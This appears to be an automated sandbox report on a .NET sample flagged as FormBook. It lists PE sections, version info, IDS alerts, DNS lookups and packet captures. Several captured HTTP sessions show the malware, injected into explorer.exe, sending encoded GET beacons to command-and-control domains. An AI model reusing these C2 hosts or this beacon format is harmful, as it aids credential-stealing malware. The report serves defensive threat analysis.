Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x824a4	0x82600	False	0.861506022291	data	7.71171540744	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.sdata	0x86000	0x1e8	0x200	False	0.861328125	data	6.62907763275	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x88000	0x38b8	0x3a00	False	0.914466594828	data	7.69473198574	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8c000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x88130	0x31ed	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x8b320	0x14	data
RT_VERSION	0x8b334	0x398	data
RT_MANIFEST	0x8b6cc	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright Galaxy Man
Assembly Version	2.0.0.0
InternalName	StaticArrayInitTypeSize40.exe
FileVersion	5.0.0.0
CompanyName	Galaxy Man
LegalTrademarks
Comments	GhostParty
ProductName	GhostParty
ProductVersion	5.0.0.0
FileDescription	GhostParty
OriginalFilename	StaticArrayInitTypeSize40.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
02/08/22-11:23:19.271128	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49825	80	192.168.2.4	35.213.137.92
02/08/22-11:23:19.271128	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49825	80	192.168.2.4	35.213.137.92
02/08/22-11:23:19.271128	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49825	80	192.168.2.4	35.213.137.92
02/08/22-11:23:24.536740	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49839	80	192.168.2.4	64.190.62.111
02/08/22-11:23:24.536740	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49839	80	192.168.2.4	64.190.62.111
02/08/22-11:23:24.536740	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49839	80	192.168.2.4	64.190.62.111
02/08/22-11:23:40.483266	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49845	80	192.168.2.4	37.140.192.43
02/08/22-11:23:40.483266	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49845	80	192.168.2.4	37.140.192.43
02/08/22-11:23:40.483266	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49845	80	192.168.2.4	37.140.192.43
02/08/22-11:23:40.545668	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49845	37.140.192.43	192.168.2.4
02/08/22-11:23:45.842049	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49846	34.102.136.180	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 8, 2022 11:23:19.088293076 CET	49825	80	192.168.2.4	35.213.137.92
Feb 8, 2022 11:23:19.270664930 CET	80	49825	35.213.137.92	192.168.2.4
Feb 8, 2022 11:23:19.270883083 CET	49825	80	192.168.2.4	35.213.137.92
Feb 8, 2022 11:23:19.271127939 CET	49825	80	192.168.2.4	35.213.137.92
Feb 8, 2022 11:23:19.453187943 CET	80	49825	35.213.137.92	192.168.2.4
Feb 8, 2022 11:23:19.453341007 CET	80	49825	35.213.137.92	192.168.2.4
Feb 8, 2022 11:23:19.453361988 CET	80	49825	35.213.137.92	192.168.2.4
Feb 8, 2022 11:23:19.453528881 CET	49825	80	192.168.2.4	35.213.137.92
Feb 8, 2022 11:23:19.453660965 CET	49825	80	192.168.2.4	35.213.137.92
Feb 8, 2022 11:23:19.635960102 CET	80	49825	35.213.137.92	192.168.2.4
Feb 8, 2022 11:23:24.517915964 CET	49839	80	192.168.2.4	64.190.62.111
Feb 8, 2022 11:23:24.536428928 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.536546946 CET	49839	80	192.168.2.4	64.190.62.111
Feb 8, 2022 11:23:24.536740065 CET	49839	80	192.168.2.4	64.190.62.111
Feb 8, 2022 11:23:24.555079937 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.565557957 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.565593958 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.565610886 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.565627098 CET	80	49839	64.190.62.111	192.168.2.4
Feb 8, 2022 11:23:24.565803051 CET	49839	80	192.168.2.4	64.190.62.111
Feb 8, 2022 11:23:24.565938950 CET	49839	80	192.168.2.4	64.190.62.111
Feb 8, 2022 11:23:34.646653891 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:34.665153980 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:34.665321112 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:34.665507078 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:34.684036016 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.176575899 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.195101023 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.477914095 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.477952957 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.477981091 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.477993011 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.478003979 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478032112 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478050947 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.478058100 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478081942 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478101015 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.478106976 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478131056 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478141069 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.478153944 CET	80	49841	81.169.145.72	192.168.2.4
Feb 8, 2022 11:23:35.478168964 CET	49841	80	192.168.2.4	81.169.145.72
Feb 8, 2022 11:23:35.478209972 CET	49841	80	192.168.2.4	81.169.145.72

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 8, 2022 11:23:08.995383024 CET	56534	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:09.017996073 CET	53	56534	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:19.058108091 CET	56627	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:19.081427097 CET	53	56627	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:24.490314960 CET	56621	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:24.516465902 CET	53	56621	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:29.588390112 CET	63116	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:29.610807896 CET	53	63116	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:34.621033907 CET	64801	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:34.645180941 CET	53	64801	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:40.352997065 CET	51255	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:40.418992996 CET	53	51255	8.8.8.8	192.168.2.4
Feb 8, 2022 11:23:45.679106951 CET	61522	53	192.168.2.4	8.8.8.8
Feb 8, 2022 11:23:45.707781076 CET	53	61522	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 8, 2022 11:23:08.995383024 CET	192.168.2.4	8.8.8.8	0x1544	Standard query (0)	www.bbgm4egda.xyz	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:19.058108091 CET	192.168.2.4	8.8.8.8	0x1f51	Standard query (0)	www.metronixmedical.com	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:24.490314960 CET	192.168.2.4	8.8.8.8	0x13b7	Standard query (0)	www.auctions.email	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:29.588390112 CET	192.168.2.4	8.8.8.8	0x5218	Standard query (0)	www.klopert77.com	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:34.621033907 CET	192.168.2.4	8.8.8.8	0x8909	Standard query (0)	www.solatopotato.com	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:40.352997065 CET	192.168.2.4	8.8.8.8	0x7a9	Standard query (0)	www.adwin-estate.com	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:45.679106951 CET	192.168.2.4	8.8.8.8	0x500f	Standard query (0)	www.webfactory.agency	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 8, 2022 11:23:09.017996073 CET	8.8.8.8	192.168.2.4	0x1544	Name error (3)	www.bbgm4egda.xyz	none	none	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:19.081427097 CET	8.8.8.8	192.168.2.4	0x1f51	No error (0)	www.metronixmedical.com		35.213.137.92	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:24.516465902 CET	8.8.8.8	192.168.2.4	0x13b7	No error (0)	www.auctions.email		64.190.62.111	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:29.610807896 CET	8.8.8.8	192.168.2.4	0x5218	Name error (3)	www.klopert77.com	none	none	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:34.645180941 CET	8.8.8.8	192.168.2.4	0x8909	No error (0)	www.solatopotato.com	solatopotato.com		CNAME (Canonical name)	IN (0x0001)
Feb 8, 2022 11:23:34.645180941 CET	8.8.8.8	192.168.2.4	0x8909	No error (0)	solatopotato.com		81.169.145.72	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:40.418992996 CET	8.8.8.8	192.168.2.4	0x7a9	No error (0)	www.adwin-estate.com		37.140.192.43	A (IP address)	IN (0x0001)
Feb 8, 2022 11:23:45.707781076 CET	8.8.8.8	192.168.2.4	0x500f	No error (0)	www.webfactory.agency	webfactory.agency		CNAME (Canonical name)	IN (0x0001)
Feb 8, 2022 11:23:45.707781076 CET	8.8.8.8	192.168.2.4	0x500f	No error (0)	webfactory.agency		34.102.136.180	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.metronixmedical.com

www.auctions.email

www.solatopotato.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49825	35.213.137.92	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2022 11:23:19.271127939 CET	9656	OUT	GET /how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd HTTP/1.1 Host: www.metronixmedical.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 8, 2022 11:23:19.453341007 CET	9657	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 08 Feb 2022 10:23:19 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.metronixmedical.com/how6/?W6vtR=eO7AK5UTSuqTcoXAE4JKPt5tOBv6nnmPk0M2G0ISpIO4jWwGwHlgDwMnGUt6OvGQoWpI&pN6=9ri0dbnPLFLdd Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-HTTPS-Enforce: 1 X-Proxy-Cache-Info: DT:1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49839	64.190.62.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2022 11:23:24.536740065 CET	9687	OUT	GET /how6/?W6vtR=0inXDaq5MxudMpH6GZOYsbvs/BtQ0SlGgc0yMNKfti2SPFqDmOiUae5rQ5wMEYlWCo0z&pN6=9ri0dbnPLFLdd HTTP/1.1 Host: www.auctions.email Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 8, 2022 11:23:24.565557957 CET	9689	IN	HTTP/1.1 200 OK date: Tue, 08 Feb 2022 10:23:24 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache last-modified: Tue, 08 Feb 2022 10:23:24 GMT x-cache-miss-from: parking-555544c6d6-v9qmr server: NginX connection: close Data Raw: 34 30 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 61 75 63 74 69 6f 6e 73 2e 65 6d 61 69 6c 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 4e 4f 57 22 20 6e 61 6d 65 3d 22 65 78 70 69 72 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 61 6c 6c 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 2c 20 23 70 61 72 74 6e 65 72 2c 20 69 66 72 61 6d 65 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 20 20 20 20 20 20 20 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 20 20 20 20 20 20 20 20 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 20 20 20 20 20 20 20 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 20 20 20 20 20 20 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 20 20 20 20 20 20 20 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 20 20 20 20 20 20 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 20 20 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 20 20 20 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 62 6f 64 79 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 70 61 72 74 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 73 72 63 3d 22 5c 2f 5c 2f 73 65 64 6f 70 61 72 6b 69 6e 67 2e 63 Data Ascii: 402<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <title>auctions.email</title> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" name="viewport"> <style> html, body, #partner, iframe { height: 100%; width: 100%; margin: 0; padding: 0; border: 0; outline: 0; font-size: 100%; vertical-align: baseline; background: transparent; } body { overflow: hidden; } </style></head><body><div id="partner"></div><script> document.write( '<script src="\/\/sedoparking.c
Feb 8, 2022 11:23:24.565593958 CET	9689	IN	Data Raw: 6f 6d 2f 66 72 6d 70 61 72 6b 2f 61 75 63 74 69 6f 6e 73 2e 65 6d 61 69 6c 2f 73 65 64 6f 70 61 72 6b 2f 70 61 72 6b 2e 6a 73 22 3e 27 20 2b 0a 20 20 20 20 20 20 20 20 27 3c 5c 2f 73 63 72 69 70 74 3e 27 0a 20 20 20 20 29 3b 0a 3c 2f 73 63 72 69 Data Ascii: om/frmpark/auctions.email/sedopark/park.js">' + '<\/script>' );</script></body></html>
Feb 8, 2022 11:23:24.565610886 CET	9689	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49841	81.169.145.72	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2022 11:23:34.665507078 CET	9699	OUT	GET /how6/?W6vtR=4EPEhjHsb2zicvYNP8lD0qzrINMa8IRsv4Cq+fHosD6XE0pK2EAVk/7C/sJ+vhveOIRa&pN6=9ri0dbnPLFLdd HTTP/1.1 Host: www.solatopotato.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 8, 2022 11:23:35.477914095 CET	9701	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Feb 2022 10:23:34 GMT Server: Apache/2.4.52 (Unix) X-Powered-By: PHP/7.4.27 X-UA-Compatible: IE=edge Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://solpotato.com/wp-json/>; rel="https://api.w.org/" Content-Type: text/html; charset=UTF-8 Connection: close Transfer-Encoding: chunked Data Raw: 32 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 53 65 69 74 65 20 6e 69 63 68 74 20 67 65 66 75 6e 64 65 6e 20 26 23 38 32 31 31 3b 20 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 26 23 38 32 31 31 3b 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 2d 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 53 6f 6c 61 74 6f 20 50 6f 74 61 74 6f 20 2d 20 4c 65 67 65 6e 64 61 72 79 20 53 6f 6c 61 6e 61 20 50 6f 74 61 74 6f 65 73 20 26 72 61 71 75 6f 3b 20 4b 6f 6d 6d 65 6e 74 61 72 2d 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 50 6f 64 63 61 73 74 20 46 65 65 64 3a 20 20 28 4d 50 33 20 46 65 65 64 29 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 6f 6c 70 6f 74 61 74 6f 2e 63 6f 6d 2f 66 65 65 64 2f 6d 70 33 2f 22 20 2f 3e 0a 3c 73 63 72 69 70 74 3e 0a 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 Data Ascii: 2000<!DOCTYPE html><html class="html" lang="de-DE"><head><meta charset="UTF-8"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Seite nicht gefunden – Solato Potato – Legendary Solana Potatoes</title><meta name='robots' content='max-image-preview:large' /><meta name="viewport" content="width=device-width, initial-scale=1"><link rel='dns-prefetch' href='//solpotato.com' /><link rel='dns-prefetch' href='//s.w.org' /><link rel="alternate" type="application/rss+xml" title="Solato Potato - Legendary Solana Potatoes » Feed" href="http://solpotato.com/feed/" /><link rel="alternate" type="application/rss+xml" title="Solato Potato - Legendary Solana Potatoes » Kommentar-Feed" href="http://solpotato.com/comments/feed/" /><link rel="alternate" type="application/rss+xml" title="Podcast Feed: (MP3 Feed)" href="http://solpotato.com/feed/mp3/" /><script>window._wpemojiSettings = {"baseUrl":"https
Feb 8, 2022 11:23:35.477952957 CET	9702	IN	Data Raw: 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 31 2e 30 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e 67 22 2c 22 73 76 67 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c Data Ascii: :\/\/s.w.org\/images\/core\/emoji\/13.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/solpotato.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.9
Feb 8, 2022 11:23:35.477981091 CET	9703	IN	Data Raw: 5d 2c 5b 31 30 30 38 34 2c 36 35 30 33 39 2c 38 32 30 33 2c 35 35 33 35 37 2c 35 36 36 31 33 5d 29 7d 72 65 74 75 72 6e 21 31 7d 28 6f 5b 72 5d 29 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 74 2e 73 75 70 70 6f 72 74 73 Data Ascii: ],[10084,65039,8203,55357,56613])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=
Feb 8, 2022 11:23:35.478003979 CET	9705	IN	Data Raw: 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 70 6f 64 6c 6f 76 65 2d 70 6f 64 63 61 73 74 69 6e 67 2d 70 6c 75 67 69 6e 2d 66 6f 72 2d 77 6f 72 64 70 72 65 73 73 2f 63 73 73 2f 61 64 6d 69 6e 2d 66 6f 6e 74 2e 63 73 73 3f 76 65 72 3d 33 2e 37 2e Data Ascii: ontent/plugins/podlove-podcasting-plugin-for-wordpress/css/admin-font.css?ver=3.7.2' media='all' /><link rel='stylesheet' id='wp-block-library-css' href='http://solpotato.com/wp-content/plugins/gutenberg/build/block-library/style.css?ver=12.
Feb 8, 2022 11:23:35.478032112 CET	9706	IN	Data Raw: 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 Data Ascii: een-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--pres
Feb 8, 2022 11:23:35.478058100 CET	9707	IN	Data Raw: 30 2c 31 31 36 2c 32 35 32 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 64 75 6f 74 6f 6e 65 2d 2d 64 61 72 6b 2d 67 72 61 79 73 63 61 6c 65 3a 20 75 72 6c 28 27 23 77 70 2d 64 75 6f 74 6f 6e 65 2d 64 61 72 6b 2d 67 72 61 79 Data Ascii: 0,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: url('#wp-duotone-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duoto
